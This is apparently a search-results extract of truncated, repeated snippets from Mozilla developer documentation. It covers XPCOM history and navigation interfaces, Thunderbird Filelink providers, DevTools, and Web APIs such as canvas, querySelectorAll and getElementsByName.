attribute changed. awhat the
attribute whose value changed. avalu...
...ecified page has changed. note that for typed and hidden pages, the page might not actually have been added yet. this needs to be clarified; what are typed and hidden? void onpagechanged( in nsiuri auri, in unsigned long awhat, in astring avalue ); parameters auri the uri of the page on which an
attribute changed. awhat the
attribute whose value changed. avalue the
attribute's new value. onpageexpired() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this method was removed in gecko 2.0. use ondeletevisits() instead. called when a history entry expires. this notification is sent to indicate that a specific visit has expired, and includes the time of that visit. when the last visit for a history entry expires, ...
nsINavHistoryQuery
absoluteendtime prtime read only: retrieves the end time value that the currently loaded reference points + offset resolve to. annotation autf8string the annotation name. annotationisnot boolean test for existance or non-existanc...
... absoluteendtime prtime read only: retrieves the end time value that the currently loaded reference points + offset resolve to. annotation autf8string the annotation name. annotationisnot boolean test for existance or non-existance of a given a...
...d. the default value is "-1", and in that case all items are matched regardless of their visit count. onlybookmarked boolean when set, returns only bookmarked items, when unset, returns anything. setting this is equivalent to listing all bookmark folders in the folders parameter. searchterms astring text search terms. tags nsivariant a list of tags to use for filtering query results. this
attribute must be an array of strings. duplicate tags may be specified, but when reading the list, only unique tags are returned. when called as a getter, this returns an array of strings sorted in ascending lexicographical (alphabetical) order. this array may be empty, in which case no filtering by tags is performed. to search for items that are tagged with any given tags instead of all, multiple queries ...
nsINavHistoryQueryOptions
toolkit/components/places/nsinavhistoryservice.idlscriptable represents the global options for executing a query. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) method overview nsinavhistoryqueryoptions clone();
attributes
attribute type description applyoptionstocontainers boolean if true, the query options are only applied to the containers. asyncenabled boolean when true, the root container node generated by these options and all of its descendant containers are opened asynchronously if they support doing so. by default, this is false. not...
...es not work in conjunction with sorting by title. this is because sorting by title requires us to sort after using locale-sensetive sorting (as opposed to letting the database do it for us). instead, we get the result ordered by date, pick the maxresult most recent ones, and then sort by title. querytype short the type of search to use when querying the db; this
attribute is only honored by query nodes. it is silently ignored for simple folder queries. see query type constants for possible values. redirectsmode unsigned short specifies how to handle redirects; see redirects mode constants for details. the default value is redirects_mode_all. note: this option is only used on query_type_history. ...
...i". results_as_visit 1 "visit" results, with one for each time a page was visited (this will often give you multiple results for one uri). individual result nodes will have type "visit". results_as_full_visit 2 this is identical to result_type_visit except that individual result nodes will have type "fullvisit". this is used for the
attributes that are not commonly accessed to save space in the common case (the lists can be very long). note: supported only for query_type_history. results_as_date_query 3 returns nsinavhistoryqueryresultnode nodes for each predefined date range where we had visits. note: supported only for query_type_history. ...
nsINavHistoryResultObserver
methods batching() lets the observer know when a batch operation in places is about to start or end. the observer can then pause update...
... methods batching() lets the observer know when a batch operation in places is about to start or end. the observer can then pause updates or events un...
...gschanged(in nsinavhistoryresultnode anode); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string anewtitle); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string anewuri); void sortingchanged(in unsigned short sortingmode);
attributes
attribute type description result nsinavhistoryresult the nsinavhistoryresult this observer monitors. although this
attribute is read-write, you should not alter it directly; instead, call nsinavhistoryresult.addobserver() to add an observer to a result. methods batching() lets the observer know when a batch operation in places is about to start or end. the observer can then pause updates or events until the batch is completed, so that it won't handle the large number of updates that are about to be notified. this is...
nsINavHistoryResultViewer
methods containerclosed() called when a container node's state changes from closed to opened. void containercl...
... methods containerclosed() called when a container node's state changes from closed to opened. void containerclosed( in nsinavhis...
...tnode newitem, in unsigned long index); void nodeinserted(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode , in unsigned long anewindex); void sortingchanged(in unsigned short sortingmode);
attributes
attribute type description result nsinavhistoryresult the nsinavhistoryresult this viewer monitors. although this
attribute is read-write, you should not alter it directly; instead, use the nsinavhistoryresult.viewer
attribute to set the viewer. methods containerclosed() called when a container node's state changes from closed to opened. void containerclosed( in nsinavhistorycontainerresultnode acontainernode ); parameters acontainernode the container node whose state changed. containeropened() ...
nsISHEntry
contenttype acstring indicates the content-type of the document that this is a session history entry for. contentviewer nsicontentviewer content viewer, for fast restoration of presentation. docidentifier unsigned long long an integer that should be the same for two entries attached to the same d...
... contenttype acstring indicates the content-type of the document that this is a session history entry for. contentviewer nsicontentviewer content viewer, for fast restoration of presentation. docidentifier unsigned long long an integer that should be the same for two entries attached to the same docshell if and...
...olean isdynamicallyadded(); parameters none. return value violates the xpcom interface guidelines seteditordata() sets the owning pointer to the editor data assosicated with this shistory entry. unless forgeteditordata() is called, this shentry will destroy the editor data when it is destroyed. void seteditordata( in nsdocshelleditordataptr adata ); parameters adata setissubframe()
attribute that indicates if this entry is for a subframe navigation. void setissubframe( in boolean aflag ); parameters aflag setscrollposition() set/get scrollers' positon in anchored pages. void setscrollposition( in long x, in long y ); parameters x y settitle() title for the document. void settitle( in astring atitle ); parameters atitle setuniquedocidentifier() changes this entry'...
nsIScriptableUnicodeConverter
throws ns_error_uconv_noconv if the requested charset is not supported. methods convertfromunicode() converts the data from unicode to one charset. returns the converted string. after converting, finish should be called and its return value appended to this return value. acstring convertfrom...
...throws ns_error_uconv_noconv if the requested charset is not supported. methods convertfromunicode() converts the data from unicode to one charset. returns the converted string. after converting, finish should be called and its return value appended to this return value. acstring convertfromunicode( in astring...
... in unsigned long acount ); converttobytearray() convert a unicode string to an array of bytes. finish does not need to be called. void converttobytearray(in astring astring, out unsigned long alen, optional [array, size_is(alen),retval] out octet adata ); converttoinputstream() converts a unicode string to an input stream. the bytes in the stream are encoded according to the charset
attribute. the returned stream is non-blocking. nsiinputstream converttoinputstream( in astring astring ); parameters astring the text to encode to the stream. the text is encoded into the character set specified by the charset
attribute. return value an nsiinputstream that will present the text specified in astring as its data. examples see reading textual data and writing textual data for e...
nsISupportsInterfacePointer
methods tostring() returns a string valued representation of the object. ...
... methods tostring() returns a string valued representation of the object. ...
... methods tostring() returns a string valued representation of the object. string tostring(); parameters none. ...
nsISupportsPrimitive
constants constant value description type_id 1 corresponding to nsisupportsid. type_cstring 2 corresponding to nsisupportscstring. type_string 3 corresponding to nsisupportsstring. ...
... constants constant value description type_id 1 corresponding to nsisupportsid. type_cstring 2 corresponding to nsisupportscstring. type_string 3 corresponding to nsisupportsstring. ...
... constants constant value description type_id 1 corresponding to nsisupportsid. type_cstring 2 corresponding to nsisupportscstring. type_string 3 corresponding to nsisupportsstring. ...
nsITreeColumn
the nsitreecolumn interface represents a tree column. layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getidconst([shared] out wstring idconst); native code only! nsitreecolumn getnext(); nsitreecolumn getprevious(); void invalidate();
attributes
attribute type description atom nsiatom the atom
attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons. read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. cycler boolean if true, then the column is a cycler column. if the cycler
attribute is not set, the column cells are regular text cells. ...
... nsiatom for the column, making it fast to do comparisons. read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. cycler boolean if true, then the column is a cycler column. if the cycler
attribute is not set, the column cells are regular text cells. read only. editable boolean if true the nsitreecolumn content is editable. if the editable
attribute is not set, the column cells are not editable. read only. element nsidomelement the treecol element. read only. id astring the id
attribute of the nsitreecolumn. read only. index long the index of the nsitreecolumn in displayed order. read only. primary boolean if true the nsitreecolumn is the primary column. if the primary
attribute is not set, the column is not the primary column. read ...
...read only. type short the type of the column, see constants. read only. width long the width of nsitreecolumn. read only. x long the x position in the tree of the left edge of the nsitreecolumn. read only. constants constant value description type_text 1 text column type. ...
nsIVariant
xpcom/ds/nsivariant.idlscriptable xpconnect has magic to transparently convert between nsivariant and js types. we mark the interface [scriptable] so that js can use methods that refer to this interface. but we mark all the methods and
attributes [noscript] since any nsivariant object will be automatically converted to a js type anyway. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview acstring getasacstring(); native code only! nsresult getasarray(out pruint16 type, out nsiid iid, out pruint32 count, out voidptr ptr); violates the xpcom interface guidelines astring getasastring(); native code only! autf8string getasautf8string(); native code only! ...
...native code only! methods native code only!getasacstring acstring getasacstring(); parameters none. return value the value is converted to an 8-bit string in the iso-8859-1 character set. if the value was utf16 then the high bits are lost. if the value was utf8 then it is conv...
...native code only! methods native code only!getasacstring acstring getasacstring(); parameters none. return value the value is converted to an 8-bit string in the iso-8859-1 character set. if the value was utf16 then the high bits are lost. if the value was utf8 then it is converted to utf16 and the hig...
nsIWebNavigation
docshell/base/nsiwebnavigation.idlscriptable defines an interface for navigating the web. it provides methods and
attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. method overview void goback void goforward void gotoindex( in...
...k 1 this flag specifies that all network activity should be stopped. this includes both active network loads and pending meta-refreshes. stop_content 2 this flag specifies that all content activity should be stopped. this includes animated images, plugins and pending javascript timeouts. stop_all 3 this flag specifies that all activity should be stopped.
attributes
attribute type description cangoback prbool indicates if the object can go back. if true this indicates that there is back session history available for navigation. read only. cangoforward prbool indicates if the object can go forward. if true this indicates that there is forward session history available for navigation. read only. currentu...
... cangoforward prbool indicates if the object can go forward. if true this indicates that there is forward session history available for navigation. read only. currenturi nsiuri the currently loaded uri or null. read only. document nsidomdocument retrieves the current dom document for the frame, or lazily creates a blank document if there is none. this
attribute never returns null except for unexpected error situations. read only. referringuri nsiuri the referring uri for the currently loaded uri or null. read only. sessionhistory nsishistory the session history object used by this web navigation instance. methods goback() tells the object to navigate to the previous session history item. when a page is loaded from ...
nsIWinTaskbar
read only. defaultgroupid astring the default application user model id the application registers with the system. this id is used by the taskbar for grouping windows and when associating pin...
...read only. defaultgroupid astring the default application user model id the application registers with the system. this id is used by the taskbar for grouping windows and when associating pinned shortcuts ...
...r taskbar features; you can use this instead of in-place operating system version checking. read only. defaultgroupid astring the default application user model id the application registers with the system. this id is used by the taskbar for grouping windows and when associating pinned shortcuts with running instances and jump lists. read only. for xulrunner applications, the defaultgroupid
attribute is configured using application.ini settings, and is of the format "vendor.application.version". for example, if the vendor is configured to "foobar systems", the application's name is "squashweb", and the application's version is 1.0, the defaultgroupid
attribute would be "foobar systems.squashweb.1.0". see xul application packaging for additional details. methods createjumplistbuilder() retriev...
nsIXULWindow
contextflags pruint32 contextflags are from nsiwindowcreator2. docshell nsidocshell the docshell owning the xul for this window. read only. intrinsicallysized boolean indicates if this window is instrinsically sized. prima...
... contextflags pruint32 contextflags are from nsiwindowcreator2. docshell nsidocshell the docshell owning the xul for this window. read only. intrinsicallysized boolean indicates if this window is instrinsically sized. primarycontentshell nsi...
... is a docshell tree item and therefore can not be assured of what object it is. it could be an editor, a docshell, or a browser object. or down the road any other object that supports being a docshelltreeitem query accordingly to determine the capabilities. nsidocshelltreeitem getcontentshellbyid( in wstring id ); parameters id the id of the content shell, which is the same as the "type"
attribute on the containing frame element. return value the tree item corresponding to the given id, if any. removechildwindow() tell this window that it has lost a child xul window. note that xul windows do not currently track child xul windows. void removechildwindow( in nsixulwindow achild ); parameters achild the child window being removed. showmodal() shows the window as a modal windo...
Filelink Providers
a user to their account. other providers however may require the user to fill in additional details in order to connect to the service. hightail, for example, requires a username and password. other services may require the user to fill in a server string or port number. a provider implementation can choose what information it gets from the user from the setup dialog by pointing the settingsurl
attribute of their nsimsgcloudfileprovider implementation to a chrome url for an xhtml page that contains a form with the extra information. that url is then loaded into an iframe directly beneath the provider menulist. note: the setup dialog window should resize itself automatically in order to fit the content of the iframe without scrollbars. custom settings fields to handle custom settings, the setti...
...hat contains a form with the extra information. that url is then loaded into an iframe directly beneath the provider menulist. note: the setup dialog window should resize itself automatically in order to fit the content of the iframe without scrollbars. custom settings fields to handle custom settings, the settings xhtml page should contain a form with the id "provider-form", with its onsubmit
attribute set to "return false;". example: <form id="provider-form" onsubmit="return false;"> <label for="username">username:</label> <input id="username" type="text" required="true" /> <label for="server">server:</label> <input id="server" type="text" required="true" /> <label for="port">port:</label> <input id="port" pattern="[0-9]+" required="true" /> </form> the form is expected to use ...
...s the value passed into the implementations init function. the hightail settings.xhtml and settings.js file have examples of this. management interface once an account has been created, it is manageable from within the preferences dialog, in the attachment pane, in the outgoing tab. the content to the right of the menulist is an iframe, pointed at a url read from the providers managementurl
attribute, which should point to an xhtml page. the xhtml page should have a function in the global scope called onloadprovider. this function is called automatically once the dom content is done loading, and is passed a single parameter - the provider instance whose data is being displayed. ...
Initialization and Destruction - Plugins
np_embed means that the instance was created by an embed and shares the browser window with other content. np_full means that the instance was created by a separate file and is the primary content in the window. the next three parameters pass parameters from the embed element that called the plug-in. the argc parameter is the number of html arguments in the element. ...
...was created by a separate file and is the primary content in the window. the next three parameters pass parameters from the embed element that called the plug-in. the argc parameter is the number of html arguments in the element. it determines the number of
attributes in the arrays specified by the argn and argv parameters. the arguments in the embed element are name-value pairs made up of the
attribute name (for example, align) and its value (for example, top). the argn array contains the
attribute names; the argv array contains the
attribute values. the browser ignores any nonstandard
attributes in an embed element, so the web page author can use the arg parameters to specify private
attributes defined for a particular plug-in. for example, the following embed element has the standard attribu...
...or example, top). the argn array contains the
attribute names; the argv array contains the
attribute values. the browser ignores any nonstandard
attributes in an embed element, so the web page author can use the arg parameters to specify private
attributes defined for a particular plug-in. ...
Introduction to DOM Inspector - Firefox Developer Tools
that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme. the list of viewers available from the viewer menu gives you some idea about how extensive the dom inspector's inspecting capabilities are. the following descriptions provide an overview of what these viewers are about: the dom nodes viewer shows
attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. the
attributes and text contents may also be edited. the box model viewer gives various metrics about xul and html elements, including placement and size. the xbl bindings viewer lists the xbl bindings attached to elements. if a binding extends another binding, the binding menulist will list ...
...er left portion of the dom inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the dom nodes viewer and information displayed in the object pane. searching for nodes in the dom another way to inspect the dom is to search for particular elements you're interested in by id, class, or
attribute. when you select edit > find nodes... or press ctrl + f, the dom inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <f3> shortcut key. updating the dom dynamically another feature to mention in this introduction is the ability is the ability the dom inspector gives you to dynamically update information reflected...
...ey. updating the dom dynamically another feature to mention in this introduction is the ability is the ability the dom inspector gives you to dynamically update information reflected in the dom about web pages, user interface, and other elements. note that when the dom inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the dom,
attributes are subnodes of elements, typically) in an active list. you can perform actions on the individual items in this list from the context menu and the edit menu, both of which contain menutimes that allow you edit the values of those
attributes. this interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the dom...
Debugger.Object - Firefox Developer Tools
's global object (and is thus in the debugger's compartment); and its value, get, and set properties, if present, are debuggee values.) getownpropertynames() return an array of strings naming all the referent's own properties, as if object.getownpropertynames(referent) had been called in the debuggee, and the result copied in the scope of the debugger's global object. defineproperty(name,
attributes) define a property on the referent namedname, as described by the property descriptordescriptor. any value, get, and set properties of
attributes must be debuggee values. (this function behaves like object.defineproperty, except that the target object is implicit, and in a different compartment from the function and descriptor.) defineproperties(properties) add the properties given bypro...
... this debugger.object instance is replaced. ...
... set(frame,oldvalue,newvalue) the data property namedname of the referent is about to have its value changed fromoldvalue tonewvalue. ...
Migrating from Firebug - Firefox Developer Tools
html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the url of the request you switch to the network monitor, which has a preview tab. inspector firebug has an html panel, which allows to edit html/xml/svg and the css related to it. within the devtools this functionality is served by the page inspector. edit html within the page inspector the tag
attributes and the contents can be edited inline just like in firebug. beyond that it allows to edit the tag names inline. you can also edit the html directly. in firebug you do this by right-clicking a node and clicking edit html... in the context menu. in the devtools this option is also available via the context menu. there the option is called edit as html. only the live preview of changes is currentl...
...y. firebug has a style side panel for this, the devtools have a rules side panel. in firebug you add new rules by right-clicking and choosing add rule... from the context menu. the devtools also have a context menu option for that named add new rule and additionally have a + button within the rules panel's toolbar to create new rules. to edit element styles, i.e. the css properties of the style
attribute of an element, in firebug you have to right-click into the style side panel and choose edit element style... from the context menu. the devtools display an element {} rule for this purpose, which requires a single click into it to start editing the properties. auto-completion of css as in firebug, the rules view provides an auto-completion for the css property names and their values. a few prop...
...irebug (see bug 1226640). stop script execution on dom mutation in firebug you can break on dom mutations, that means that when an element is changed, the script execution is stopped at the related line within the javascript file, which caused the change. this feature can globally be enabled via the break on mutate button, or individually for each element and for different types of changes like
attribute changes, content changes or element removal. unfortunately, the devtools do not have this feature yet (see bug 1004678). to stop the script execution there, you need to set a breakpoint on the line with the modification within the debugger panel. search for elements via css selectors or xpaths firebug allows to search for elements within the html panel via css selectors or xpaths. also the devt...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
s to modulate the speed of audio stream rendering. its nominal range is (-∞ to +∞). the default is 0. loop: a boolean indicating whether the audio should play in a loop. the default is false. if the loop is dynamically modified during playback, the new value will take effect on the next processing block of audio. loopend: an optional value, in seconds, where looping should end if the loop
attribute is true. the default is 0. its value is exclusive to the content of the loop. the sample frames, comprising the loop, run from the values loopstart to loopend-(1/samplerate). it's sensible to set this to a value between 0 and the duration of the buffer. if loopend is less than 0, looping will end at 0. if loopend is greater than the duration of the buffer, looping will end at the end of the buffe...
.... the default is 0. its value is exclusive to the content of the loop. the sample frames, comprising the loop, run from the values loopstart to loopend-(1/samplerate). it's sensible to set this to a value between 0 and the duration of the buffer. if loopend is less than 0, looping will end at 0. if loopend is greater than the duration of the buffer, looping will end at the end of the buffer. this
attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value. thus, its behavior is independent of the value of the playbackrate parameter. loopstart: an optional value in seconds, where looping should begin if the loop
attribute is true. the default is 0. it's sensible to set this to a value between 0 ...
...thus, its behavior is independent of the value of the playbackrate parameter. ...
BluetoothRemoteGATTService - Web APIs
the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of this service. ...
... the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of this service. ...
... the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of this service. ...
CSSKeywordValue.CSSKeywordValue() - Web APIs
the csskeywordvalue constructor creates a new csskeywordvalue object which represents css keywords and other identifiers. syntax var csskeywordvalue = new csskeywordvalue(val) parameters value sets or returns the value of the new csskeywordvalue. ...
...parameters value sets or returns the value of the new csskeywordvalue. examples the following example resets the css display property to its defaults, setting the inline style
attribute to style="display: initial" if viewed in the developer tools inspector. ...
...ay property to its defaults, setting the inline style
attribute to style="display: initial" if viewed in the developer tools inspector. #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style
attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').
attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification. working draft initial definition. ...
Basic usage of canvas - Web APIs
art this tutorial by looking at the <canvas> html element itself. at the end of this page, you will know how to set up a canvas 2d context and have drawn a first example in your browser. the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt
attributes. indeed, the <canvas> element has only two
attributes, width and height. these are both optional and can also be set using dom properties. when no width and height
attributes are specified, the canvas will initially be 300 pixels wide and 150 pixels high. the element can be sized arbitrarily by css, but during rendering the image is scaled to fit its layout size: if the css sizing doesn't respec...
...it is always a good idea to supply an id because this makes it much easier to identify it in a script. ...
...e specified, the canvas will initially be 300 pixels wide and 150 pixels high. the element can be sized arbitrarily by css, but during rendering the image is scaled to fit its layout size: if the css sizing doesn't respect the ratio of the initial canvas, it will appear distorted. note: if your renderings seem distorted, try specifying your width and height
attributes explicitly in the <canvas>
attributes, and not using css. the id
attribute isn't specific to the <canvas> element but is one of the global html
attributes which can be applied to any html element (like class for instance). it is always a good idea to supply an id because this makes it much easier to identify it in a script. the <canvas> element can be styled just like any normal image (margin, border, background…). these rules,...
Pixel manipulation with canvas - Web APIs
at the actual pixels of our canvas. with the imagedata object you can directly read and write a data array to manipulate pixel data. we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images from your canvas. the imagedata object the imagedata object represents the underlying pixel data of an area of a canvas object. it contains the following read-only
attributes: width the width of the image in pixels. height the height of the image in pixels. data a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 (included). the data property returns a uint8clampedarray which can be accessed to look at the raw pixel data; each pixel is represented by four one-byte values (red,...
...there are two versions of the createimagedata() method: var myimagedata = ctx.createimagedata(width, height); this creates a new imagedata object with the specified dimensions. all pixels are preset to transparent black (all zeroes i.e rgb...
...t setting. creates a png image. canvas.todataurl('image/jpeg', quality) creates a jpg image. optionally, you can provide a quality in the range from 0 to 1, with one being the best quality and with 0 almost not recognizable but small in file size. once you have generated a data uri from you canvas, you are able to use it as the source of any <image> or put it into a hyper link with a download
attribute to save it to disc, for example. you can also create a blob from the canvas. canvas.toblob(callback, type, encoderoptions) creates a blob object representing the image contained in the canvas. ...
Using images - Web APIs
use on a canvas. using images from the same page we can obtain a reference to images on the same page as the canvas by using one of: the document.images collection the document.getelementsbytagname() method if you know the id of the specific image you wish to use, you can use document.getelementbyid() to retrieve that specific image using images from other domains using the crossorigin
attribute of an <img> element (reflected by the htmlimageelement.crossorigin property), you can request permission to load an image from another domain for use in your call to drawimage(). if the hosting domain permits cross-domain access to the image, the image can be used in your canvas without tainting it; otherwise using the image will taint the canvas. using other canvas elements just as with normal...
... a different approach to loading the images this time. instead of loading them by creating new htmlimageelement objects, we included them as <img> tags directly in our html source and retrieved the images from those. the images are hidden from output by setting the css property display to none for those images. screenshotlive sample the script itself is very simple. each <img> is assigned an id
attribute, which makes them easy to select using document.getelementbyid(). we then simply use drawimage() to slice the rhino out of the first image and scale him onto the canvas, then draw the frame on top using a second drawimage() call. art gallery example in the final example of this chapter, we'll build a little art gallery. the gallery consists of a table containing several images. when the page is...
....mozillademos.org/files/5415/bg_gallery.png) #4f191a; margin: 10px; } img { display: none; } table { margin: 0 auto; } td { padding: 15px; } tying it all together is the javascript to draw our framed images: function draw() { // loop through all images for (var i = 0; i < document.images.length; i++) { // don't add a canvas for the frame image if (document.images[i].get
attribute('id') != 'frame') { // create canvas element canvas = document.createelement('canvas'); canvas.set
attribute('width', 132); canvas.set
attribute('height', 150); // insert before the image document.images[i].parentnode.insertbefore(canvas,document.images[i]); ctx = canvas.getcontext('2d'); // draw image to canvas ctx.drawimage(document.images...
Constraint validation API - Web APIs
however, you may want to impose more complex constraints, or to provide clearer reporting of validation failures than the defaults. ...
...er, they help explain whether and why an element's value fails to validate. invalid event this event type is fired at a form control element if the element does not satisfy its constraints. extensions to other interfaces the constraint validation api extends the interfaces for the form-associated elements listed below with a number of new properties and methods (elements that can have a form
attribute that indicates their form owner): htmlbuttonelement htmlfieldsetelement htmlinputelement htmlobjectelement htmloutputelement htmlselectelement htmltextareaelement properties validity a read-only property that returns a validitystate object, whose properties represent validation errors for the value of that element. validationmessage a read-only property that returns an empty stri...
...s you'd expect. for this to happen, the custom validity has to be cancelled, by invoking setcustomvalidity() with an empty string value. we therefore do this every time the input event is raised. if you don't do this, and a custom validity was previously set, the input will register as invalid, even if it current contains a valid value on submission. note: firefox supported a proprietary error
attribute — x-moz-errormessage — for many versions, which allowed you set custom error messages in a similar way. this has been removed as of version 66 (see bug 1513890). specifications specification status comment html living standardthe definition of 'constraint validation api' in that specification. living standard html 5.1the definition of 'constraint val...
Document.getElementsByName() - Web APIs
the getelementsbyname() method of the document object returns a nodelist collection of elements with a given name in the document. syntax var elements = document.getelementsbyname(name); elements is a live nodelist collection, meaning it automatically updates as new elements with the same name are added to/removed from the document. name is the value of the name
attribute of the element(s). example <!doctype html> <html lang="en"> <title>example: using document.getelementsbyname</title> <input type="hidden" name="up"> <input type="hidden" name="down"> <script> var up_names = document.getelementsbyname("up"); console.log(up_names[0].tagname); // displays "input" </script> </html> notes the name
attribute can only be applied in (x)html documents. the returned nodelist collection ...
...ame="up"> <input type="hidden" name="down"> <script> var up_names = document.getelementsbyname("up"); console.log(up_names[0].tagname); // displays "input" </script> </html> notes the name
attribute can only be applied in (x)html documents. the returned nodelist collection contains all elements with the given name, such as <meta>, <object>, and even elements which do not support the name
attribute at all. the getelementsbyname method works differently in ie10 and below. there, getelementsbyname() also returns elements that have an id
attribute with the specified value. ...
... both ie and edge return an htmlcollection, not a nodelist specifications specification status comment html living standardthe definition of 'document.getelementsbyname()' in that specification. ...
Document.querySelectorAll() - Web APIs
class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. ...
..."); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. ...
... highlighted and which are located inside a container whose id is test. var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an
attribute selector to return a list of the <iframe> elements in the document that contain an
attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an
attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active
attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array i...
Document - Web APIs
ecified in the xml declaration or "1.0" if the declaration is absent. methods this interface also inherits from the node and eventtarget interfaces. document.adoptnode() adopt node from an external document. document.captureevents() see window.captureevents. document.caretrangefrompoint() gets a range object for the document fragment under the specified coordinates. document.create
attribute() creates a new attr object and returns it. document.create
attributens() creates a new
attribute node in a given namespace and returns it. document.createcdatasection() creates a new cdata node and returns it. document.createcomment() creates a new comment node and returns it. document.createdocumentfragment() creates a new document fragment. document.createelement() creates a new elem...
...at produces a character value is pressed down. also available via the onkeypress property. keyup fired when a key is released. also available via the onkeyup property. load & unload events domcontentloaded fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading. readystatechange fired when the readystate
attribute of a document has changed. also available via the onreadystatechange property. pointer events gotpointercapture fired when when an element captures a pointer using setpointercapture(). also available via the ongotpointercapture property. lostpointercapture fired when a captured pointer is released. also available via the onlostpointercapture property. pointercancel fired when a point...
...f 'document' in that specification. working draft extend the document interface pointer lockthe definition of 'document' in that specification. candidate recommendation extend the document interface page visibility (second edition)the definition of 'document' in that specification. recommendation extend the document interface with the visibilitystate and hidden
attributes and the onvisibilitychange event listener. selection apithe definition of 'document' in that specification. working draft adds getselection(), onselectstart and onselectionchange. dom4the definition of 'document' in that specification. obsolete supersede dom 3 document object model (dom) level 3 core specificationthe definition of 'document' in that specifi...
Element.classList - Web APIs
a domtokenlist with the length property equal to 0. ...
...a domtokenlist with the length property equal to 0. the domtokenlist itself is read-only, although you can modify it using the add() and remove() methods. ...
...a domtokenlist with the length property equal to 0. the domtokenlist itself is read-only, although you can modify it using the add() and remove() methods. ...
FileSystemEntrySync - Web APIs
fullpath readonly domstring the full absolute path from the root to the entry. an absolute path is a relative path from the root directory, prepended with a '/'. isdirectory readonly boolean true if filesystementrys...
... fullpath readonly domstring the full absolute path from the root to the entry. an absolute path is a relative path from the root directory, prepended with a '/'. isdirectory readonly boolean true if filesystementrysync is a directory. ...
...ry. quota_exceeded_err the operation would cause the application to exceed its storage quota. you can ask for a larger persistent storage, which your user must explicitly grant. for more information, see the article on basic concepts. tourl() returns a url that can be used to identify this entry. it exposes a new url scheme—filesystem:—that you can use to fill src or href
attributes. for example, if you wanted to display an image and have its fileentry, calling tourl() gives you the image file's file system url. you get something like: filesystem:http://example.com/temporary/lolcat.png. the file system url does not expire. because the method describes a location on disk, the url is valid for as long as that location exists. you can delete the file and recreate it, and it's...
HTMLCanvasElement.getContext() - Web APIs
is method on the same canvas element return the same drawing context instance as was returned the last time the method was invoked with the same contexttype argument. to get a different drawing context object you need to pass a different contexttype or call the method on a different canvas element. syntax var ctx = canvas.getcontext(contexttype); var ctx = canvas.getcontext(contexttype, context
attributes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas. possible values are: "2d", leading to the creation of a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" (or "experimental-webgl") which will create a webglrenderingcontext object representing a three-dimensional ren...
...provides functionality to replace the content of the canvas with a given imagebitmap. note: the identifier "experimental-webgl" is used in new implementations of webgl. these implementations have either not reached test suite conformance, or the graphics drivers on the platform are not yet stable. the khronos group certifies webgl implementations under certain conformance rules. context
attributes you can use several context
attributes when creating your rendering context, for example: const gl = canvas.getcontext('webgl', { antialias: false, depth: false }); 2d context
attributes: alpha: boolean that indicates if the canvas contains an alpha channel. if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content...
... force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently. this option is only available, if the flag gfx.canvas.willreadfrequently.enable is set to true (which, by default, is only the case for b2g/firefox os). (blink only) storage: string that indicates which storage is used ("persistent" by default). webgl context
